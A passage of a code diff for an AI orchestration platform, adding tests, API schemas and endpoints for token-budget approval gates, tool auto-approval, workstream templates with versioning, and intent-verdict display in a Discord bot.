+    ui = MagicMock(spec_set=NullUI)
+    ui.approve_tools.return_value = (True, None)
+    session = _make_session(ui=ui)
+    assert session._token_budget == 0
+    session._last_usage = {"prompt_tokens": 999999, "completion_tokens": 999999}
+    session._update_token_table({"role": "assistant", "content": "hi"})
+    assert session._budget_warned is False
+    assert session._budget_exhausted is False
+    ui.on_info.assert_not_called()
+
+
+def test_budget_warning_only_once(tmp_db):
+    ui = MagicMock(spec_set=NullUI)
+    ui.approve_tools.return_value = (True, None)
+    session = _make_session(ui=ui)
+    session._token_budget = 10000
+    # First call at 80%
+    session._last_usage = {"prompt_tokens": 7500, "completion_tokens": 500}
+    session._update_token_table({"role": "assistant", "content": "a"})
+    assert session._budget_warned is True
+    assert ui.on_info.call_count == 1
+    # Second call still above 80% — should not warn again
+    session._last_usage = {"prompt_tokens": 8500, "completion_tokens": 500}
+    session._update_token_table({"role": "assistant", "content": "b"})
+    assert session._budget_warned is True
+    assert ui.on_info.call_count == 1
+
+
+# ---------------------------------------------------------------------------
+# Token budget approval gate in send()
+# ---------------------------------------------------------------------------
+
+
+def test_send_blocked_when_budget_exhausted(tmp_db):
+    ui = MagicMock(spec_set=NullUI)
+    ui.approve_tools.return_value = (False, None)
+    session = _make_session(ui=ui)
+    session._budget_exhausted = True
+    session._token_budget = 5000
+    session.send("hello")
+    # approve_tools should have been called with __budget_override__
+    ui.approve_tools.assert_called_once()
+    items = ui.approve_tools.call_args[0][0]
+    assert len(items) == 1
+    assert items[0]["func_name"] == "__budget_override__"
+    assert "5,000" in items[0]["preview"]
+    # on_error should have been called since approval was denied
+    ui.on_error.assert_called_once()
+    assert "budget" in ui.on_error.call_args[0][0].lower()
+
+
+def test_send_continues_after_budget_approval(tmp_db):
+    ui = MagicMock(spec_set=NullUI)
+    ui.approve_tools.return_value = (True, None)
+    session = _make_session(ui=ui)
+    session._budget_exhausted = True
+    session._budget_warned = True
+    session._token_budget = 5000
+
+    # Patch _create_stream_with_retry to avoid actual LLM call
+    with (
+        patch.object(session, "_create_stream_with_retry"),
+        patch.object(session, "_stream_response") as mock_resp,
+        patch.object(session, "_update_token_table"),
+        patch.object(session, "_print_status_line"),
+    ):
+        mock_resp.return_value = {"role": "assistant", "content": "ok", "tool_calls": []}
+        session.send("hello")
+
+    # Budget flags should be reset
+    assert session._budget_exhausted is False
+    assert session._budget_warned is False
+    # approve_tools was called for budget gate
+    ui.approve_tools.assert_called_once()
+
+
+def test_send_returns_when_budget_denied(tmp_db):
+    ui = MagicMock(spec_set=NullUI)
+    ui.approve_tools.return_value = (False, None)
+    session = _make_session(ui=ui)
+    session._budget_exhausted = True
+    session._token_budget = 5000
+
+    # Patch to detect if _create_stream_with_retry is called (it shouldn't be)
+    with patch.object(session, "_create_stream_with_retry") as mock_stream:
+        session.send("hello")
+        mock_stream.assert_not_called()
+
+    # Message should NOT have been appended
+    assert len(session.messages) == 0
+
+
+# ---------------------------------------------------------------------------
+# WebUI auto_approve_tools
+# ---------------------------------------------------------------------------
+
+
+def test_webui_auto_approve_tools_default_empty():
+    webui = WebUI(ws_id="ws-1")
+    assert webui.auto_approve_tools == set()
+
+
+def test_webui_auto_approve_tools_subset_approves():
+    webui = WebUI(ws_id="ws-1")
+    webui.auto_approve_tools = {"bash", "read_file", "write_file"}
+    items = [
+        {"func_name": "bash", "preview": "ls", "needs_approval": True},
+        {"func_name": "read_file", "preview": "/tmp/x", "needs_approval": True},
+    ]
+    # Patch out policy evaluation and global queue to isolate auto_approve_tools
+    with patch("turnstone.server.WebUI._global_queue", None):
+        approved, _ = webui.approve_tools(items)
+    assert approved is True
+
+
+def test_webui_auto_approve_tools_partial_no_approve():
+    webui = WebUI(ws_id="ws-1")
+    webui.auto_approve_tools = {"bash"}
+    items = [
+        {"func_name": "bash", "preview": "ls", "needs_approval": True},
+        {"func_name": "write_file", "preview": "/tmp/x", "needs_approval": True},
+    ]
+    # write_file is NOT in auto_approve_tools, so it won't auto-approve.
+    # The method will block on _approval_event, so we set it immediately.
+    webui._approval_event = MagicMock()
+    webui._approval_event.wait.return_value = None
+    webui._approval_result = (False, None)
+    with patch("turnstone.server.WebUI._global_queue", None):
+        approved, _ = webui.approve_tools(items)
+    assert approved is False
+
+
+def test_webui_auto_approve_tools_empty_no_effect():
+    webui = WebUI(ws_id="ws-1")
+    webui.auto_approve_tools = set()
+    items = [
+        {"func_name": "bash", "preview": "ls", "needs_approval": True},
+    ]
+    # Empty set should not auto-approve; must wait for manual approval.
+    webui._approval_event = MagicMock()
+    webui._approval_event.wait.return_value = None
+    webui._approval_result = (True, None)
+    with patch("turnstone.server.WebUI._global_queue", None):
+        approved, _ = webui.approve_tools(items)
+    # Approval comes from the manual path (we set _approval_result to True)
+    assert approved is True
+    # The approval event wait should have been called (manual approval path)
+    webui._approval_event.wait.assert_called_once()
+
+
+# ---------------------------------------------------------------------------
+# Protocol round-trip — CreateWorkstreamMessage
+# ---------------------------------------------------------------------------
+
+
+def test_create_workstream_message_ws_template():
+    msg = CreateWorkstreamMessage(ws_template="deploy-v2")
+    assert msg.ws_template == "deploy-v2"
+    assert msg.type == "create_workstream"
+
+
+def test_create_workstream_message_ws_template_default():
+    msg = CreateWorkstreamMessage()
+    assert msg.ws_template == ""
+
+
+# ---------------------------------------------------------------------------
+# Config persistence round-trip
+# ---------------------------------------------------------------------------
+
+
+def test_save_config_round_trip(tmp_db):
+    s1 = _make_session()
+    s1._token_budget = 75000
+    s1._ws_template_id = "tpl-roundtrip"
+    s1._ws_template_version = 12
+    s1._notify_on_complete = '{"webhook": "https://hooks.example.com/done"}'
+    s1._save_config()
+
+    from turnstone.core.memory import save_message
+
+    save_message(s1._ws_id, "user", "test")
+
+    s2 = _make_session()
+    assert s2.resume(s1._ws_id)
+    assert s2._token_budget == 75000
+    assert s2._ws_template_id == "tpl-roundtrip"
+    assert s2._ws_template_version == 12
+    assert s2._notify_on_complete == '{"webhook": "https://hooks.example.com/done"}'

tests/test_ws_template_storage.py

@@ -0,0 +1,329 @@
+"""Tests for workstream template storage CRUD operations."""
+
+from __future__ import annotations
+
+import json
+
+import pytest
+import sqlalchemy as sa
+from sqlalchemy.exc import IntegrityError
+
+from turnstone.core.storage._schema import workstreams
+from turnstone.core.storage._sqlite import SQLiteBackend
+
+
+@pytest.fixture()
+def db(tmp_path):
+    return SQLiteBackend(str(tmp_path / "test.db"))
+
+
+def _make_template_kwargs(**overrides):
+    defaults = {
+        "ws_template_id": "tpl_001",
+        "name": "research-agent",
+        "description": "Deep research profile",
+        "system_prompt": "You are a research assistant.",
+        "prompt_template": "tpl-greeting",
+        "model": "gpt-5",
+        "auto_approve": False,
+        "auto_approve_tools": "read_file,write_file",
+        "temperature": 0.7,
+        "reasoning_effort": "medium",
+        "max_tokens": 4096,
+        "token_budget": 100000,
+        "agent_max_turns": 10,
+        "notify_on_complete": '{"webhook":"https://example.com"}',
+        "org_id": "org1",
+        "created_by": "admin",
+        "enabled": True,
+    }
+    defaults.update(overrides)
+    return defaults
+
+
+# ---------------------------------------------------------------------------
+# CRUD Operations
+# ---------------------------------------------------------------------------
+
+
+class TestWsTemplateCRUD:
+    def test_create_ws_template(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        tpl = db.get_ws_template("tpl_001")
+        assert tpl is not None
+        assert tpl["ws_template_id"] == "tpl_001"
+        assert tpl["name"] == "research-agent"
+
+    def test_create_ws_template_fields(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        tpl = db.get_ws_template("tpl_001")
+        assert tpl is not None
+        assert tpl["description"] == "Deep research profile"
+        assert tpl["system_prompt"] == "You are a research assistant."
+        assert tpl["prompt_template"] == "tpl-greeting"
+        assert tpl["model"] == "gpt-5"
+        assert tpl["auto_approve"] is False
+        assert isinstance(tpl["auto_approve"], bool)
+        assert tpl["auto_approve_tools"] == "read_file,write_file"
+        assert tpl["temperature"] == 0.7
+        assert tpl["reasoning_effort"] == "medium"
+        assert tpl["max_tokens"] == 4096
+        assert tpl["token_budget"] == 100000
+        assert tpl["agent_max_turns"] == 10
+        assert tpl["notify_on_complete"] == '{"webhook":"https://example.com"}'
+        assert tpl["org_id"] == "org1"
+        assert tpl["created_by"] == "admin"
+        assert tpl["enabled"] is True
+        assert isinstance(tpl["enabled"], bool)
+        assert tpl["version"] == 1
+        assert "created" in tpl
+        assert "updated" in tpl
+
+    def test_get_ws_template_not_found(self, db):
+        assert db.get_ws_template("nonexistent") is None
+
+    def test_get_ws_template_by_name(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        tpl = db.get_ws_template_by_name("research-agent")
+        assert tpl is not None
+        assert tpl["ws_template_id"] == "tpl_001"
+        assert tpl["auto_approve"] is False
+        assert isinstance(tpl["auto_approve"], bool)
+        assert tpl["enabled"] is True
+        assert isinstance(tpl["enabled"], bool)
+
+    def test_get_ws_template_by_name_not_found(self, db):
+        assert db.get_ws_template_by_name("nope") is None
+
+    def test_list_ws_templates(self, db):
+        db.create_ws_template(**_make_template_kwargs(ws_template_id="t2", name="beta"))
+        db.create_ws_template(**_make_template_kwargs(ws_template_id="t1", name="alpha"))
+        templates = db.list_ws_templates()
+        assert len(templates) == 2
+        assert templates[0]["name"] == "alpha"
+        assert templates[1]["name"] == "beta"
+
+    def test_list_ws_templates_empty(self, db):
+        assert db.list_ws_templates() == []
+
+    def test_list_ws_templates_enabled_only(self, db):
+        db.create_ws_template(
+            **_make_template_kwargs(ws_template_id="t1", name="active", enabled=True)
+        )
+        db.create_ws_template(
+            **_make_template_kwargs(ws_template_id="t2", name="disabled", enabled=False)
+        )
+        result = db.list_ws_templates(enabled_only=True)
+        assert len(result) == 1
+        assert result[0]["name"] == "active"
+
+    def test_list_ws_templates_org_filter(self, db):
+        db.create_ws_template(**_make_template_kwargs(ws_template_id="t1", name="a", org_id="org1"))
+        db.create_ws_template(**_make_template_kwargs(ws_template_id="t2", name="b", org_id="org2"))
+        db.create_ws_template(**_make_template_kwargs(ws_template_id="t3", name="c", org_id="org1"))
+        result = db.list_ws_templates(org_id="org1")
+        assert len(result) == 2
+        assert {r["ws_template_id"] for r in result} == {"t1", "t3"}
+
+    def test_update_ws_template(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        ok = db.update_ws_template("tpl_001", name="updated-agent", description="New desc")
+        assert ok is True
+        tpl = db.get_ws_template("tpl_001")
+        assert tpl is not None
+        assert tpl["name"] == "updated-agent"
+        assert tpl["description"] == "New desc"
+
+    def test_update_ws_template_not_found(self, db):
+        assert db.update_ws_template("missing", name="x") is False
+
+    def test_update_ws_template_ignores_unknown_fields(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        ok = db.update_ws_template("tpl_001", name="new-name", org_id="hack", created_by="hack")
+        assert ok is True
+        tpl = db.get_ws_template("tpl_001")
+        assert tpl is not None
+        assert tpl["name"] == "new-name"
+        # Non-mutable fields unchanged.
+        assert tpl["org_id"] == "org1"
+        assert tpl["created_by"] == "admin"
+
+    def test_update_ws_template_boolean_normalization(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        db.update_ws_template("tpl_001", auto_approve=True, enabled=False)
+        tpl = db.get_ws_template("tpl_001")
+        assert tpl is not None
+        assert tpl["auto_approve"] is True
+        assert isinstance(tpl["auto_approve"], bool)
+        assert tpl["enabled"] is False
+        assert isinstance(tpl["enabled"], bool)
+
+    def test_delete_ws_template(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        ok = db.delete_ws_template("tpl_001")
+        assert ok is True
+        assert db.get_ws_template("tpl_001") is None
+
+    def test_delete_ws_template_not_found(self, db):
+        assert db.delete_ws_template("missing") is False
+
+    def test_delete_ws_template_cascades_versions(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        # Create a version snapshot via update.
+        db.update_ws_template("tpl_001", name="v2-name")
+        versions = db.list_ws_template_versions("tpl_001")
+        assert len(versions) == 1
+        # Delete template — versions should be gone too.
+        db.delete_ws_template("tpl_001")
+        assert db.list_ws_template_versions("tpl_001") == []
+
+    def test_create_ws_template_with_hash(self, db):
+        db.create_ws_template(
+            ws_template_id="tpl_hash",
+            name="hashed-template",
+            prompt_template="my-prompt",
+            prompt_template_hash="abc123hash",
+        )
+        tpl = db.get_ws_template("tpl_hash")
+        assert tpl["prompt_template_hash"] == "abc123hash"
+
+    def test_update_ws_template_hash(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        db.update_ws_template("tpl_001", prompt_template_hash="newhash456")
+        tpl = db.get_ws_template("tpl_001")
+        assert tpl["prompt_template_hash"] == "newhash456"
+
+    def test_create_duplicate_name(self, db):
+        db.create_ws_template(**_make_template_kwargs(ws_template_id="t1", name="unique"))
+        with pytest.raises(IntegrityError):
+            db.create_ws_template(**_make_template_kwargs(ws_template_id="t2", name="unique"))
+
+
+# ---------------------------------------------------------------------------
+# Versioning
+# ---------------------------------------------------------------------------
+
+
+class TestWsTemplateVersioning:
+    def test_update_creates_version_snapshot(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        db.update_ws_template("tpl_001", description="Changed")
+        versions = db.list_ws_template_versions("tpl_001")
+        assert len(versions) == 1
+        assert versions[0]["ws_template_id"] == "tpl_001"
+        assert versions[0]["version"] == 1
+
+    def test_version_increments_on_update(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        tpl = db.get_ws_template("tpl_001")
+        assert tpl is not None
+        assert tpl["version"] == 1
+        db.update_ws_template("tpl_001", description="v2")
+        tpl = db.get_ws_template("tpl_001")
+        assert tpl is not None
+        assert tpl["version"] == 2
+        db.update_ws_template("tpl_001", description="v3")
+        tpl = db.get_ws_template("tpl_001")
+        assert tpl is not None
+        assert tpl["version"] == 3
+
+    def test_version_snapshot_contains_json(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        db.update_ws_template("tpl_001", description="Changed")
+        versions = db.list_ws_template_versions("tpl_001")
+        snapshot = json.loads(versions[0]["snapshot"])
+        # Snapshot should contain the pre-update state.
+        assert snapshot["description"] == "Deep research profile"
+        assert snapshot["name"] == "research-agent"
+        assert snapshot["version"] == 1
+
+    def test_multiple_updates_create_versions(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        db.update_ws_template("tpl_001", description="Second")
+        db.update_ws_template("tpl_001", description="Third")
+        db.update_ws_template("tpl_001", description="Fourth")
+        versions = db.list_ws_template_versions("tpl_001")
+        assert len(versions) == 3
+        # Ordered by version DESC.
+        assert versions[0]["version"] == 3
+        assert versions[1]["version"] == 2
+        assert versions[2]["version"] == 1
+
+    def test_list_ws_template_versions(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        db.update_ws_template("tpl_001", description="v2")
+        db.update_ws_template("tpl_001", description="v3")
+        versions = db.list_ws_template_versions("tpl_001")
+        assert len(versions) == 2
+        # Ordered by version DESC.
+        assert versions[0]["version"] == 2
+        assert versions[1]["version"] == 1
+        for v in versions:
+            assert "created" in v
+            assert "snapshot" in v
+            assert "changed_by" in v
+
+    def test_list_ws_template_versions_empty(self, db):
+        assert db.list_ws_template_versions("nonexistent") == []
+
+    def test_create_ws_template_version_direct(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        snapshot_data = json.dumps({"name": "manual-snapshot", "version": 99})
+        db.create_ws_template_version(
+            "tpl_001", version=99, snapshot=snapshot_data, changed_by="admin"
+        )
+        versions = db.list_ws_template_versions("tpl_001")
+        assert len(versions) == 1
+        assert versions[0]["version"] == 99
+        assert versions[0]["changed_by"] == "admin"
+        parsed = json.loads(versions[0]["snapshot"])
+        assert parsed["name"] == "manual-snapshot"
+
+
+# ---------------------------------------------------------------------------
+# Workstream Integration
+# ---------------------------------------------------------------------------
+
+
+class TestWsTemplateWorkstreamIntegration:
+    def test_register_workstream_with_template(self, db):
+        db.create_ws_template(**_make_template_kwargs())
+        db.register_workstream(
+            ws_id="ws-001",
+            node_id="node-1",
+            name="test-ws",
+            ws_template_id="tpl_001",
+            ws_template_version=1,
+        )
+        # Verify via direct query — list_workstreams doesn't select template fields.
+        with db._engine.connect() as conn:
+            row = conn.execute(
+                sa.select(workstreams.c.ws_template_id, workstreams.c.ws_template_version).where(
+                    workstreams.c.ws_id == "ws-001"
+                )
+            ).fetchone()
+        assert row is not None
+        assert row[0] == "tpl_001"
+        assert row[1] == 1
+
+    def test_update_workstream_template(self, db):
+        db.register_workstream(ws_id="ws-002", node_id="node-1", name="test-ws")
+        # Initially defaults
+        with db._engine.connect() as conn:
+            row = conn.execute(
+                sa.select(workstreams.c.ws_template_id, workstreams.c.ws_template_version).where(
+                    workstreams.c.ws_id == "ws-002"
+                )
+            ).fetchone()
+        assert row[0] == ""
+        assert row[1] == 0
+        # Update template lineage
+        db.update_workstream_template("ws-002", "tpl_abc", 3)
+        with db._engine.connect() as conn:
+            row = conn.execute(
+                sa.select(workstreams.c.ws_template_id, workstreams.c.ws_template_version).where(
+                    workstreams.c.ws_id == "ws-002"
+                )
+            ).fetchone()
+        assert row[0] == "tpl_abc"
+        assert row[1] == 3

turnstone/__init__.py

@@ -1,3 +1,3 @@
 """turnstone - Multi-node AI orchestration platform with tool use, agent routing, and cluster simulation."""
 
-__version__ = "0.5.5"
+__version__ = "0.6.0"

turnstone/api/console_schemas.py

@@ -139,6 +139,9 @@ class ConsoleCreateWsRequest(BaseModel):
     template: str = Field(
         default="", description="Prompt template name (replaces default templates)"
     )
+    ws_template: str = Field(
+        default="", description="Workstream template name (behavioral profile)"
+    )
 
 
 class ConsoleCreateWsResponse(BaseModel):
@@ -317,6 +320,97 @@ class ListPromptTemplatesResponse(BaseModel):
     templates: list[PromptTemplateInfo]
 
 
+# ---------------------------------------------------------------------------
+# Governance: Workstream Templates
+# ---------------------------------------------------------------------------
+
+
+class WsTemplateInfo(BaseModel):
+    ws_template_id: str
+    name: str
+    description: str
+    system_prompt: str
+    prompt_template: str
+    prompt_template_hash: str = ""
+    model: str
+    auto_approve: bool
+    auto_approve_tools: str
+    temperature: float | None = None
+    reasoning_effort: str
+    max_tokens: int | None = None
+    token_budget: int
+    agent_max_turns: int | None = None
+    notify_on_complete: str
+    org_id: str
+    created_by: str
+    enabled: bool
+    version: int
+    created: str
+    updated: str
+
+
+class CreateWsTemplateRequest(BaseModel):
+    name: str
+    description: str = ""
+    system_prompt: str = ""
+    prompt_template: str = ""
+    model: str = ""
+    auto_approve: bool = False
+    auto_approve_tools: str = ""
+    temperature: float | None = None
+    reasoning_effort: str = ""
+    max_tokens: int | None = None
+    token_budget: int = 0
+    agent_max_turns: int | None = None
+    notify_on_complete: str = "{}"
+    org_id: str = ""
+    enabled: bool = True
+
+
+class UpdateWsTemplateRequest(BaseModel):
+    name: str | None = None
+    description: str | None = None
+    system_prompt: str | None = None
+    prompt_template: str | None = None
+    model: str | None = None
+    auto_approve: bool | None = None
+    auto_approve_tools: str | None = None
+    temperature: float | None = None
+    reasoning_effort: str | None = None
+    max_tokens: int | None = None
+    token_budget: int | None = None
+    agent_max_turns: int | None = None
+    notify_on_complete: str | None = None
+    enabled: bool | None = None
+
+
+class ListWsTemplatesResponse(BaseModel):
+    ws_templates: list[WsTemplateInfo]
+
+
+class WsTemplateVersionInfo(BaseModel):
+    id: int
+    ws_template_id: str
+    version: int
+    snapshot: str
+    changed_by: str
+    created: str
+
+
+class ListWsTemplateVersionsResponse(BaseModel):
+    versions: list[WsTemplateVersionInfo]
+
+
+class WsTemplateSummary(BaseModel):
+    name: str
+    description: str
+    model: str
+
+
+class ListWsTemplateSummaryResponse(BaseModel):
+    ws_templates: list[WsTemplateSummary]
+
+
 # ---------------------------------------------------------------------------
 # Governance: Usage
 # ---------------------------------------------------------------------------
@@ -355,6 +449,39 @@ class ListAuditEventsResponse(BaseModel):
     events: list[AuditEventInfo]
 
 
+# ---------------------------------------------------------------------------
+# Governance: Intent Verdicts
+# ---------------------------------------------------------------------------
+
+
+class VerdictInfo(BaseModel):
+    """Intent validation verdict."""
+
+    verdict_id: str
+    ws_id: str
+    call_id: str
+    func_name: str
+    func_args: str = ""
+    intent_summary: str
+    risk_level: str
+    confidence: float
+    recommendation: str
+    reasoning: str
+    evidence: str = "[]"
+    tier: str
+    judge_model: str = ""
+    user_decision: str = ""
+    latency_ms: int = 0
+    created: str
+
+
+class ListVerdictsResponse(BaseModel):
+    """Response for verdict listing."""
+
+    verdicts: list[VerdictInfo]
+    total: int
+
+
 # ---------------------------------------------------------------------------
 # Channels
 # ---------------------------------------------------------------------------

turnstone/api/console_spec.py

@@ -22,6 +22,7 @@ from turnstone.api.console_schemas import (
     CreatePromptTemplateRequest,
     CreateRoleRequest,
     CreateToolPolicyRequest,
+    CreateWsTemplateRequest,
     ListAuditEventsResponse,
     ListChannelUsersResponse,
     ListOrgsResponse,
@@ -29,6 +30,10 @@ from turnstone.api.console_schemas import (
     ListRolesResponse,
     ListToolPoliciesResponse,
     ListUserRolesResponse,
+    ListVerdictsResponse,
+    ListWsTemplatesResponse,
+    ListWsTemplateSummaryResponse,
+    ListWsTemplateVersionsResponse,
     NodeDetailResponse,
     OrgInfo,
     PromptTemplateInfo,
@@ -38,9 +43,12 @@ from turnstone.api.console_schemas import (
     UpdatePromptTemplateRequest,
     UpdateRoleRequest,
     UpdateToolPolicyRequest,
+    UpdateWsTemplateRequest,
     UsageBreakdownItem,
     UsageResponse,
     UserRoleInfo,
+    VerdictInfo,
+    WsTemplateInfo,
 )
 from turnstone.api.openapi import EndpointSpec, QueryParam, build_openapi
 from turnstone.api.schemas import (
@@ -453,6 +461,63 @@ CONSOLE_ENDPOINTS: list[EndpointSpec] = [
         error_codes=[404],
         tags=["Admin"],
     ),
+    # --- Governance: Workstream Templates ---
+    EndpointSpec(
+        "/v1/api/admin/ws-templates",
+        "GET",
+        "List workstream templates",
+        response_model=ListWsTemplatesResponse,
+        tags=["Admin"],
+    ),
+    EndpointSpec(
+        "/v1/api/admin/ws-templates",
+        "POST",
+        "Create a workstream template",
+        request_model=CreateWsTemplateRequest,
+        response_model=WsTemplateInfo,
+        error_codes=[400, 409],
+        tags=["Admin"],
+    ),
+    EndpointSpec(
+        "/v1/api/admin/ws-templates/{ws_template_id}",
+        "GET",
+        "Get a workstream template",
+        response_model=WsTemplateInfo,
+        error_codes=[404],
+        tags=["Admin"],
+    ),
+    EndpointSpec(
+        "/v1/api/admin/ws-templates/{ws_template_id}",
+        "PUT",
+        "Update a workstream template",
+        request_model=UpdateWsTemplateRequest,
+        response_model=WsTemplateInfo,
+        error_codes=[404, 409],
+        tags=["Admin"],
+    ),
+    EndpointSpec(
+        "/v1/api/admin/ws-templates/{ws_template_id}",
+        "DELETE",
+        "Delete a workstream template",
+        response_model=StatusResponse,
+        error_codes=[404],
+        tags=["Admin"],
+    ),
+    EndpointSpec(
+        "/v1/api/admin/ws-templates/{ws_template_id}/versions",
+        "GET",
+        "List workstream template version history",
+        response_model=ListWsTemplateVersionsResponse,
+        error_codes=[404],
+        tags=["Admin"],
+    ),
+    EndpointSpec(
+        "/v1/api/ws-templates",
+        "GET",
+        "List enabled workstream templates (summary)",
+        response_model=ListWsTemplateSummaryResponse,
+        tags=["Workstreams"],
+    ),
     # --- Governance: Usage & Audit ---
     EndpointSpec(
         "/v1/api/admin/usage",
@@ -487,6 +552,26 @@ CONSOLE_ENDPOINTS: list[EndpointSpec] = [
         ],
         tags=["Admin"],
     ),
+    # --- Governance: Intent Verdicts ---
+    EndpointSpec(
+        "/v1/api/admin/verdicts",
+        "GET",
+        "Paginated intent verdicts",
+        response_model=ListVerdictsResponse,
+        query_params=[
+            QueryParam("ws_id", "Filter by workstream"),
+            QueryParam("since", "Start timestamp (ISO8601)"),
+            QueryParam("until", "End timestamp (ISO8601)"),
+            QueryParam(
+                "risk_level",
+                "Filter by risk level",
+                enum=["low", "medium", "high", "critical"],
+            ),
+            QueryParam("limit", "Page size (max 500)", schema_type="integer", default=100),
+            QueryParam("offset", "Pagination offset", schema_type="integer", default=0),
+        ],
+        tags=["Admin"],
+    ),
     # --- Observability ---
     EndpointSpec(
         "/health",
@@ -549,6 +634,8 @@ _ALL_MODELS: list[type[BaseModel]] = [
     UsageResponse,
     AuditEventInfo,
     ListAuditEventsResponse,
+    VerdictInfo,
+    ListVerdictsResponse,
 ]
 
 

turnstone/api/schemas.py

@@ -176,6 +176,7 @@ class CreateScheduleRequest(BaseModel):
     auto_approve: bool = Field(default=False)
     auto_approve_tools: list[str] = Field(default_factory=list)
     template: str = Field(default="", description="Prompt template name")
+    ws_template: str = Field(default="", description="Workstream template name")
     enabled: bool = Field(default=True)
 
 
@@ -193,6 +194,7 @@ class UpdateScheduleRequest(BaseModel):
     auto_approve: bool | None = None
     auto_approve_tools: list[str] | None = None
     template: str | None = None
+    ws_template: str | None = None
     enabled: bool | None = None
 
 
@@ -211,6 +213,7 @@ class ScheduleInfo(BaseModel):
     auto_approve: bool = False
     auto_approve_tools: list[str] = Field(default_factory=list)
     template: str = ""
+    ws_template: str = ""
     enabled: bool = True
     created_by: str = ""
     last_run: str | None = None

turnstone/api/server_schemas.py

@@ -50,6 +50,9 @@ class CreateWorkstreamRequest(BaseModel):
     template: str = Field(
         default="", description="Prompt template name (replaces default templates)"
     )
+    ws_template: str = Field(
+        default="", description="Workstream template name to apply defaults from"
+    )
 
 
 class CreateWorkstreamResponse(BaseModel):

turnstone/channels/_formatter.py

@@ -104,6 +104,36 @@ def format_approval_request(items: list[dict[str, Any]]) -> str:
     return "\n".join(lines)
 
 
+def format_verdict(verdict: dict[str, Any]) -> str:
+    """Format an intent verdict for display in a channel message.
+
+    Accepts either a raw heuristic verdict dict (from ``_heuristic_verdict``
+    in approval items) or an :class:`IntentVerdictEvent`-like dict with the
+    same field names.  Returns Markdown text suitable for a Discord embed
+    field.
+    """
+    risk = (verdict.get("risk_level") or "medium").upper()
+    rec = verdict.get("recommendation", "review")
+    raw_conf = verdict.get("confidence")
+    conf = int((raw_conf if raw_conf is not None else 0.5) * 100)
+    summary = verdict.get("intent_summary", "")
+    tier = verdict.get("tier", "")
+
+    emoji_map = {
+        "LOW": "\U0001f7e2",
+        "MEDIUM": "\U0001f7e1",
+        "HIGH": "\U0001f534",
+        "CRITICAL": "\u26d4",
+    }
+    emoji = emoji_map.get(risk, "\u2753")
+
+    label = f"{tier.upper()} " if tier else ""
+    parts = [f"{emoji} **{label}Risk: {risk}** ({conf}%) \u2014 {rec}"]
+    if summary:
+        parts.append(f"_{summary}_")
+    return "\n".join(parts)
+
+
 def format_plan_review(content: str) -> str:
     """Format a plan-review prompt with a header."""
     return f"**Plan review requested:**\n\n{content}"

turnstone/channels/_routing.py

@@ -50,12 +50,14 @@ class ChannelRouter:
         auto_approve: bool = False,
         auto_approve_tools: list[str] | None = None,
         template: str = "",
+        ws_template: str = "",
     ) -> None:
         self._broker = broker
         self._storage = storage
         self._auto_approve = auto_approve
         self._auto_approve_tools: list[str] = auto_approve_tools or []
         self._template = template
+        self._ws_template = ws_template
         self._pending: dict[str, asyncio.Event] = {}
         self._pending_results: dict[str, str] = {}
         self._global_task: asyncio.Task[None] | None = None
@@ -175,6 +177,7 @@ class ChannelRouter:
                 auto_approve=self._auto_approve,
                 auto_approve_tools=list(self._auto_approve_tools),
                 template=self._template,
+                ws_template=self._ws_template,
             )
             cid = msg.correlation_id
             waiter = asyncio.Event()

turnstone/channels/discord/bot.py

@@ -19,6 +19,7 @@ from turnstone.mq.protocol import (
     ApprovalRequestEvent,
     ContentEvent,
     ErrorEvent,
+    IntentVerdictEvent,
     OutboundEvent,
     PlanReviewEvent,
     TurnCompleteEvent,
@@ -146,6 +147,10 @@ class TurnstoneBot:
 
         self._subscribed_ws: set[str] = set()
         self._streaming: dict[str, StreamingMessage] = {}
+        # Track the Discord message containing the pending approval embed per
+        # workstream so that IntentVerdictEvent can update it with LLM judge
+        # results.
+        self._pending_approval_msgs: dict[str, discord.Message] = {}
 
         intents = discord.Intents.default()
         intents.message_content = True
@@ -250,6 +255,7 @@ class TurnstoneBot:
         await self.broker.unsubscribe(channel)
         self._subscribed_ws.discard(ws_id)
         self._streaming.pop(ws_id, None)
+        self._pending_approval_msgs.pop(ws_id, None)
         log.info("discord.unsubscribed", ws_id=ws_id)
 
     # -- event dispatch ------------------------------------------------------
@@ -263,7 +269,11 @@ class TurnstoneBot:
         """Handle an outbound event for a subscribed workstream."""
         import discord
 
-        from turnstone.channels._formatter import format_approval_request, format_plan_review
+        from turnstone.channels._formatter import (
+            format_approval_request,
+            format_plan_review,
+            format_verdict,
+        )
         from turnstone.channels.discord.views import ApprovalView, PlanReviewView
 
         event = OutboundEvent.from_json(raw)
@@ -290,8 +300,19 @@ class TurnstoneBot:
                     description=text,
                     color=discord.Color.orange(),
                 )
+                # Include heuristic verdicts from approval items.
+                for item in event.items:
+                    verdict = item.get("verdict")
+                    if verdict:
+                        name = item.get("func_name") or item.get("approval_label") or "tool"
+                        embed.add_field(
+                            name=f"Verdict: {name}",
+                            value=format_verdict(verdict),
+                            inline=False,
+                        )
                 embed.set_footer(text=f"{ws_id}|{event.correlation_id}")
-                await thread.send(embed=embed, view=ApprovalView(self)._view)
+                msg = await thread.send(embed=embed, view=ApprovalView(self)._view)
+                self._pending_approval_msgs[ws_id] = msg
 
         elif isinstance(event, PlanReviewEvent):
             text = format_plan_review(event.content)
@@ -303,10 +324,44 @@ class TurnstoneBot:
             embed.set_footer(text=f"{ws_id}|{event.correlation_id}")
             await thread.send(embed=embed, view=PlanReviewView(self)._view)
 
+        elif isinstance(event, IntentVerdictEvent):
+            # LLM judge verdict arrived — update the pending approval embed.
+            approval_msg = self._pending_approval_msgs.get(ws_id)
+            if approval_msg and approval_msg.embeds:
+                embed = approval_msg.embeds[0]
+                verdict_data = {
+                    "risk_level": event.risk_level,
+                    "recommendation": event.recommendation,
